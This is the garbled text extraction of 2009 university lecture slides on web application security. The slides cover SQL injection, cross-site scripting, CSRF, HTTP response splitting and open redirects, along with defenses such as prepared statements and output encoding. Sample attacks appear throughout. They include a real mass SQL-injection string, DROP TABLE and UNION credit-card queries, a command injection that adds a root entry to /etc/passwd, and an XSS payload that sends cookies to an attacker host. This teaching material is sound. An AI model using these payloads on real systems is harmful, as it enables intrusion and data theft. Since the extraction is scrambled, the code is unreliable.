CS 155 Spring 2009 Schematic web site architecture

WS1 Firewall Firewall Application Load Secure Web Site Design Firewall WS App Balancer 2 DB (WAF) Servers

WS3 John Mitchell IDS Authorization Netegrity (CA) Oblix (Oracle)

1 2

Web application code Common vulnerabilities

Runs on web server or app server. SQL Injection

„ Takes input from web users (via web server) „ Browser sends malicious input to server rd „ Interacts with the database and 3 parties. Sans „ Bad input checking leads to malicious SQL query „ Prepares results for users (via web server) Top XSS – Cross-site scripting 10 Examples: „ BdBad we b sit e send s i nnocent vi itictim a scri itthtpt that steals information from an honest web site „ Shopping carts, home banking, bill pay, tax prep, … CSRF – Cross-site request forgery „ New code written for every web site. „ Bad web site sends request to good web site, using Written in: credentials of an innocent victim who “visits” site

„ C, PHP, Perl, Python, JSP, ASP, … Other problems

„ Often written with little consideration for security „ HTTP response splitting, site redirects, …

3 4

Dynamic Web Application

GET / HTTP/1.0 Browser Web SQL Injection server HTTP/1.1 200 OK

index.php

with slides from Neil Daswani Database server

5 6

1 PHP: Hypertext Preprocessor SQL

Server scripting language with C-like syntax Widely used database query language Can intermingle static HTML and code Fetch a set of records > SELECT * FROM Person WHERE Username=‘grader’ Can embed variables in double-quote strings Add data to the table $user = “world”; echo “Hello $user!”; INSERT INTO Person (Username, Zoobars) or $user = “world”; echo “Hello” . $user . “!”; VALUES (‘grader’, 10) Form data in global arrays $_GET, $_POST, … Modify data UPDATE Person SET Zoobars=42 WHERE PersonID=5 Query syntax (mostly) independent of vendor

7 8

Example Basic picture: SQL Injection

Sample PHP Victim Server $recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE 1 Username='$recipient'"; 2 $rs = $db->executQteQuery($sql); unintended Problem 3 receive valuable data query Attacker „ What if ‘recipient’ is malicious string that changed the meaning of the query?

Victim SQL DB

9 10

CardSystems Attack April 2008 SQL Vulnerabilities

CardSystems „ credit card payment processing company „ SQL injection attack in June 2005 „ put company out of business

The Attack „ 263,000 credit card #s stolen from database „ credit card #s stored unencrypted „ 43 million credit card #s exposed

11

2 Main steps in this attack Part of the SQL attack string

DECLARE @T varchar(255),@C varchar(255) Use Google to find sites using a particular ASP style DECLARE Table_Cursor CURSOR vulnerable to SQL injection FOR select a.name,b.name from sysobjects a,syscolumns b where Use SQL injection on these sites to modify the page to a.id=b.id and a.xtype='u' and include a link to a Chinese site nihaorr1.com (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) Don't visit this site yourself! OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C The site (nihaorr1.com) serves JavaScript that exploits WHILE(@@FETCH_STATUS=0) BEGIN vulnerabilities in IE, RealPlayer, QQ Instant Messenger exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+'‘ ''') Steps (1) and (2) are automated in a tool that can be configured to FETCH NEXT FROM Table_Cursor INTO @T,@C inject whatever you like into vulnerable sites END CLOSE Table_Cursor There is some evidence that hackers may get paid for each visit to DEALLOCATE Table_Cursor; nihaorr1.com DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST( %20AS%20NVARCHAR(4000));EXEC(@S);-- 13 14

SQL Injection Examples

Type 1 Attack Example

Enter Username & SELECT passwd Web FROM USERS Password Web Browser WHERE uname DB Server (Client) IS ‘$username’

Attacker will modify

15

Malicious input SQL Injection Examples Malicious Query

Enter Username SELECT passwd & FROM USERS Web Password Web WHERE uname Browser DB Server IS ‘’;DROPTABLE; DROP TABLE (Client) USERS; -- ‘

Eliminates all user Attacker Modifies Input accounts

17

3 What is SQL Injection? SQL Injection Examples

Input Validation Vulnerability View pizza order history:
„ Untrusted user input in SQL query sent to back-end

database without sanitizing the data Month Year Why is this Bad?

„ Data can be misinterpreted as a command

„ Can alter the intended effect of command or query

Attacker can form that is not generated by this page.

19 20

SQL Injection Examples SQL Injection Examples

Normal SELECT pizza, toppings, quantity, order_day FROM orders SQL WHERE userid=4123 All User Data Query AND order_month=10 Compromised

Type 2 For ordhder_month parametttklditter, attacker could input Attack WHERE condition 0 OR 1=1 is always true! Gives attacker access to other users’ Malicious … private data! Query WHERE userid=4123 AND order_month=0 OR 1=1

21 22

SQL Injection Examples SQL Injection Examples

A more damaging breach of user privacy: For order_month parameter, attacker could input

0 AND 1=0 Credit Card Info UNION SELECT cardholder, number, exp_month, exp_year Compromised FROM creditcards Attacker is able to

„ Combine the results of two queries

„ Empty table from first query with the sensitive credit card info of all users from second query

23 24

4 More Attacks Second-Order SQL Injection

• Create new users: Second-Order SQL Injection: attack where data ‘; INSERT INTO USERS (‘uname’,’passwd’, stored in database is later used to conduct SQL ‘salt’) VALUES (‘hacker’,’38a74f’, 3234); injection

Example: this vulnerability could exist if string Password reset: • escapiiing is appli lidiittled inconsistently ‘; UPDATE USERS SET [email protected] WHERE [email protected] Solution: Treat ALL parameters as dangerous

UPDATE USERS SET passwd='cracked'passwd='cracked' WHERE uname='admin'uname='admin' --''-- attacker chooses username 'admin' -- Strings not escaped!

26

Preventing SQL Injection Escaping Quotes

Input validation For valid string inputs like username o’connor, use „ Filter escape characters

Š Apostrophes, semicolons, percent symbols, hyphens, „ Ex: escape(o’connor) = o’’connor underscores, … „ only works for string inputs Š Any character that has special meanings

„ Check th e d at a t ype ( e.g., mak e sure it’ s an i nt eger) Whitelisting

„ Blacklisting chars doesn’t work Š forget to filter out some characters Š could prevent valid input (e.g. username O’Brien)

„ Allow only well-defined set of safe values Š Set implicitly defined through regular expressions

28

Prepared Statements Prepared Statement:Example

Metacharacters (e.g. ‘) in queries provide distinction between data & control PreparedStatement ps = db.prepareStatement("SELECT pizza, toppings, quantity, order_day " Most attacks: data interpreted as control / + "FROM orders WHERE userid=? AND order_month=?"); alters the semantics of a query/cmd ps.setInt(1, session.getCurrentUserId()); Bind Variables: ? placeholders guaranteed to be data ps.setInt(2, Integgper.parseInt(reqqguest.getParamenter("month" ))); ResultSet res = ps.executeQuery(); (not control) Bind Variable: Prepared Statements allow creation of static queries Data Placeholder with bind variables → preserves the structure of • query parsed w/o parameters intended query • bind variables are typed e.g. int, string, etc…*

29

5 Parameterized SQL Mitigating Impacts

Build SQL queries by properly escaping args: ′ → \′ Prevent Schema & Information Leaks

Example: Parameterized SQL: (ASP.NET 1.1)

„ Ensures SQL arguments are properly escaped. Limit Privileges (Defense-in-Depth)

SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE EtSitiDttdiDtbEncrypt Sensitive Data stored in Database username = @User AND password = @Pwd", dbConnection); Harden DB Server and Host OS cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); Apply Input Validation cmd.ExecuteReader();

31 32

Other command injection

Example: PHP server-side code for sending email

$email = $_POST[“email”] $subject = $_POST[“subject”] Cross Site Scripting (XSS) system(“mail $email –s $subject < /tmp/joinmynetwork”)

Attac ker can pos t http://yourdomain.com/mail.pl? [email protected]& subject=foo < /usr/passwd; ls OR http://yourdomain.com/mail.pl? [email protected]&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls

Basic scenario: reflected XSS attack The setup

Attack Server User input is echoed into HTML response. 1

2 Example: search field 5 „ http://victim.com/search.php ? term = apple

„ search.php responds with: Victim client Search Results Victim Server Results for : . . .

Is this exploitable? 36

6 Bad input Attack Server

Consider link: (properly URL encoded) www.attacker.com http://victim.com/search.php ? term = http://victim.com/search.php ? “http://badguy.com?cookie = ” + Victim client document. cookie ) What if user clicks on this link? Victim Server 1. Browser goes to victim.com/search.php www.victim.com 2. Victim.com returns Results for 37

So what? Much worse …

Why would user click on such a link? Attacker can execute arbitrary scripts in browser

„ Phishing email in webmail client (e.g. gmail). Can manipulate any DOM component on victim.com „ Link in doubleclick banner ad „ Control links on page … many many wayygs to fool user into clicking „ Cont ro l f orm fi eld s ( e.g. password fi eld) on thi s page and linked pages. What if badguy.com gets cookie for victim.com ? Š Example: MySpace.com phishing attack injects „ Cookie can include session auth for victim.com password field that sends password to bad guy. Š Or other data intended only for victim.com Can infect other users: MySpace.com worm. ⇒ Violates same origin policy

39 40

What is XSS? Basic scenario: reflected XSS attack

Attack Server An XSS vulnerability is present when an Email version attacker can inject scripting code into pages 1 generated by a web application. 2 Methods for injjgecting malicious code: 5

„ Reflected XSS (“type 1”) Š the attack script is reflected back to the user as part of a User Victim page from the victim site

„ Stored XSS (“type 2”) Server Victim Š the attacker stores the malicious code in a resource managed by the web application, such as a database

„ Others, such as DOM-based attacks

7 2006 Example Vulnerability Adobe PDF viewer “feature” (version <= 7.9) PDF documents execute JavaScript code Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal http://path/to/pdf/file.pdf#whatever_name_ website. you_want=javascript:code_here Injected code redirected PayPal visitors to a page warning users their accounts had been compromised . Victims were then redirected to a phishing site and prompted to The code will be executed in the context of enter sensitive financial data. the domain where the PDF files is hosted This could be used against PDF files hosted on the local filesystem

Source: http://www.acunetix.com/news/paypal.htm http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html

Here’s how the attack works: And if that doesn’t bother you...

Attacker locates a PDF file hosted on website.com PDF files on the local filesystem: Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion file:///C:/Program%20Files/Adobe/Acrobat%2

„ http://website.com/path/to/file.pdf#s=javascript:alert(”xss”);) 07.0/Resource/ENUtxt.pdf#blah=javascript:al Attacker entices a victim to click on the link ert("XSS"); If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware now runs in local context JavaScript Malware executes with the ability to read local files ...

Reflected XSS attack Stored XSS

Attack Server Attack Server

1 5 IjInject Storemalicious bad stuff User Victim User Victim script Send bad stuff

Server Victim Download it Server Victim Reflect it back

8 MySpace.com (Samy worm) Stored XSS using images

Users can post HTML on their pages Suppose pic.jpg on web server contains HTML !

„ MySpace.com ensures HTML contains no Š request for http://site.com/pic.jpg results in: Works fine with this URL http://www.example.com/welcome.html?name=Joe User- But what about this one? supplied http://www.example.com/welcome.html?name= application

Amit Klein ... XSS of the Third Kind

Lots more information about attacks Defenses at server

Attack Server 1

2 5

User Victim

Server Victim

Strangely, this is not the cover of the book ...

9 How to Protect Yourself (OWASP) Input data validation and filtering

The best way to protect against XSS attacks: Never trust client-side data „ Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) „ Best: allow only what you expect against a rigorous specification of what should be allowed. Remove/encode special characters „ Do not attempt to identify active content and remove, filter, or saniiitize i t. Th ere are too many types of acti ve content „ Mdiilh!Many encodings, special chars! and too many ways of encoding it to get around filters for such content. „ E.g., long (non-standard) UTF-8 encodings

„ We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

Output filtering / encoding Illustrative example

Remove / encode (X)HTML special chars

„ < for <, > for >, " for “ … Allow only safe commands (e.g., no Application User name No Thank you Yes Yes HtmlEncode UrlEncode Untrusted input is used in a URL (such Click Here! User resets Button click Yes None N/A N/A XmlEncode Untrusted input is used in XML output, [Untrusted input] bookmark event except when assigning to an XML file attribute XmlAttributeEncode Untrusted input is used as an XML Some Text

Select output encoding method

Use Case Scenario Input Scenario Output Requires Encoding Scenario Inputs Trusted? Outputs Contains Encoding Method to Use Untrusted Input? User views Book- No Contributor, Yes Yes Name - saved mark file description, HtmlEncode bookmarks data and link displayed in Description – browser HtmlEncode

BookmarkLink - input validation.

Common encoding functions ASP.NET output filtering validateRequest: (on by default) PHP: htmlspecialchars(string) „ Crashes page if finds „ Browser sends user auth cookie with request Attack Server Š Transaction will be fulfilled Problem:

„ cookie auth is insufficient when side effects can occur Q: how long do you stay logged on to Gmail? 77

13 Example: Home Router Attack on Home Router [SRJ’07] Fact:

Home router „ 50% of home users use a broadband router with a default or no password 1 Drive-by Pharming attack: User visits malicious site

4 „ JavaScript at site scans home network looking for broadband router: 2 • SOP allows “send only” messages 3 • Detect success using onerror: User Bad web site Š

„ Once found, login to router and change DNS server Problem: “send-only” access is sufficient to reprogram

79 router 80

Login CSRF CSRF Defenses

Secret token

„ Place nonce in page/form from honest site

„ Check nonce in POST Š Confirm part of ongoing session with server

„ Token in POST can be HMAC of session ID in cookie Check referer (sic) header

„ Referer header is provided by browser, not script

„ Unfortunately, often filtered for privacy reasons Use custom headers via XMLHttpRequest

„ This requires global change in server apps

82

Login CSRF Referer header filtering

Cross-site HTTP

Same-site HTTP

Ad Network A Cross-site TLS Ad Network B

Same-site TLS

024681012

14 Referer header filtering CSRF Recommendations

Login CSRF

„ Strict Referer validation

„ Login forms typically submit over HTTPS, not blocked HTTPS sites, such as banking sites

„ Use strict Referer validation to protect against CSRF Other

„ Use Ruby-on-Rails or other framework that implements secret token method correctly Future

„ Alternative to Referer with fewer privacy problems

„ Send only on POST, send only necessary data

86

HTTP Response Splitting: The setup

User input echoed in HTTP header.

Example: Language redirect page (JSP) More server-side problems <% response.redirect(“/by_lang.jsp?lang=” + request.getParameter(“lang”) ) %>

HTTP Response Splitting Browser sends http://.../by_lang.jsp ? lang=french Site Redirects Server HTTP Response: HTTP/1.1 302 (redirect) Date: … Location: /by_lang.jsp ? lang=french

Is this exploitable?

88

Bad input Bad input

HTTP response from server looks like: Suppose browser sends: HTTP/1.1 302 (redirect) http://.../by_lang.jsp ? lang= Date: … LtiLocation: /by_ lang. jsp ? lang= fhfrench “ french \n Content-length: 0 Content-length: 0 \r\n\r\n

HTTP/1.1 200 OK lang HTTP/1.1 200 OK Spoofed page ” (URL encoded) Content-length: 217

Spoofed page

89 90

15 So what? Redirects

What just happened: EZShopper.com shopping cart (10/2004):

„ Attacker submitted bad URL to victim.com http://…/cgi-bin/ loadpage.cgi ? page=url

Š URL contained spoofed page in it „ Redirects browser to url „ Got back spoofed page Redirects are common on many sites So what? „ Used to track when user clicks on external link „ EZShopper uses redirect to add HTTP headers „ Cache servers along path now store spoof of victim.com Problem: phishing „ Will fool any user using same cache server http://victim.com/cgi-bin/loadpage ? page=phisher.com

Defense: don’t do that (use URL encoding…) „ Link to victim.com puts user at phisher.com ⇒ Local redirects should ensure target URL is local 91 92

Sample phishing email How does this lead to spoof page?

Link displayed

„ ://www.start.earthlink.net/track?billing.asp Actual link in html email

„ source:httpp//s://start.earthlink.net /track?id=101fe8439 8a866372f999c983d8973e77438a993847183bca43d7 ad47e99219a907871c773400b8328898787762c&url= http://202.69.39.30/snkee/billing.htm?session_id=84 95... Website resolved to

„ http://202.69.39.30/snkee/billing.htm?session_id=84 95...

Web Application Firewalls

Help prevent some attacks we discuss today: • Cross site scripting Additional solutions • SQL Injection • Form field tampering • CkiiCookie poisoni ng Sample products: Imperva Kavado Interdo F5 TrafficShield Citrix NetScaler CheckPoint Web Intel

96

16 Code checking Summary

Blackbox security testing services: SQL Injection

„ Whitehatsec.com „ Bad input checking allows malicious SQL query

„ Known defenses address problem effectively Automated blackbox testing tools: XSS – Cross-site scripting „ Cenzic, Hailstorm „ PblProblem st ems f rom ec hihoing unttdtrusted itinput „ Spidynamic, WebInspect „ Difficult to prevent; requires care, testing, tools, … „ eEye, Retina CSRF – Cross-site request forgery Web application hardening tools: „ Forged request leveraging ongoing session „ Can be prevented (if XSS problems fixed) „ WebSSARI [WWW’04] : based on information flow Other server vulnerabilities „ Nguyen-Tuong [IFIP’05] : based on tainting „ Increasing knowledge embedded in frameworks, tools, application development recommendations 97

99

17